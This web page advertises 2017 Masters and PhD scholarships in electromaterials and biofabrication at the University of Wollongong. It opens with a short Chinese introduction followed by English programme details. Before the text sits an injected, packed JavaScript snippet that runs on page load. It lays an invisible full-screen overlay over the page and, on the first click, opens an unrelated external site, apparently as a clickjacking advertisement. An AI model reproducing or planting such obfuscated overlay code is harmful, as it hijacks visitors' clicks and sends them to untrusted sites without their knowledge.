<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>University of Wollongong (UOW) 位于悉尼南部Wollongong市. 该城市风景如画，到悉尼仅需一个多小时车程，此处可谓即有大城市的摩登现代，又兼具小城市的宁静灵动，实乃做学术的理想之处。学校总体排名在全球二百多名，但是个别专业还是蜚声业内，包括这次招生的专业。
位于UOW海滨校区的Intelligent Polymer Research Institute (IPRI) 准备招收Masters in Electromaterials Science, Masters in Biofabrication和PhD Scholarships in Biofabrication 入学时间为2017。项目属于校际合作，课题进行过程中可以有机会跟专业内各种大牛及课题组合作，机会十分难得，希望生物材料相关专业同学踊跃申请。 发邮件(包括 CV, academic record and cover letter)到: [email protected] (请使用英语的整个过程, 收件人不懂汉语)
PhD Scholarships and Master Degrees in Australia
An opportunity to research alongside globally recognised researchers in state-of-the-art facilities.You can contribute to research into big global challenges in Energy and Health.
Develop new materials and new fabrication tools and optimise performance through arrangement of these materials.
Use these systems for energy conversion (solar or thermal to electrical) or storage (batteries and capacitors) or in medical applications through our extensive end-user networks.
Scholarship Opportunities
Funding is available for the International Masters degree program and for PhD scholarships.
Scholarships are available for study in each of the areas below.
Masters in Electromaterials Science: An opportunity to participate in training that will ensure you have the right fundamental knowledge and practical fabrication skills to make a real difference. You will acquire the skills needed to take fundamental advances in materials science into practical devices, for energy conversion/storage or medical applications. Studies will be undertaken at both UOW and Deakin Universities.
Masters in Biofabrication: Suitably qualified candidates may participate in this unique international degree. The course work provided will ensure you have knowledge across a number of traditional disciplines including biomaterials, cell biology, computer aided design and 3D printing, to undertake a research project in biofabrication. In undertaking your project you will become part of a team of researchers.
PhD Scholarships in Biofabrication: A newly established ARC Training Hub in Biofabrication provides opportunities for PhD level training. Projects will be in Association with either Cochlear, Anatomics or St Vincent’s Hospital. Projects include:
3D printing of structures to encourage bone regrowth
3D printing of structures to facilitate cartilage regeneration
3D printing of flexible electrode structures.
A number of scholarships are also available for projects in 3D printing in collaboration with CSIRO. It is envisaged that successful candidates will carry out the projects in our Wollongong based laboratories as well as in laboratories of CSIRO Manufacturing.
ACES has also joined forces recently with the Illawarra Health and Medical Research Institute to undertake research into the following areas:
3D Electrophysiology: Combining the expertise available in ACES to create 3D structures with inter-counted neurons strategically placed throughout we propose to develop 3D electrodes to integrate the functionality of such systems. This advance will be a critical component of our ACES ‘brain on a bench’ project that seeks to develop systems to understand the development of neurological diseases and test proposed interventions.
Injectable Electrodes: Preliminary studies have shown that organic conducting polymers can be used as electrodes to stimulate neurite outgrowth and improve the degree of branching and interconnectivity. This project will use (injectable) nano-micro particles of organic conductors to enable wireless stimulation using bipolar electrochemistry.
Wound Healing: Building on preliminary studies using a green seaweed extract ulvan we will explore the effect of distribution of anti-inflammatories and growth factors on wound healing. These structures will be created using 3D printing to enable the effect of distribution of these bioactives on wound healing to be determined.
A number of scholarships are available to support these collaborative research ventures.
To express your interest: Email your CV, academic record and cover letter to [email protected] |
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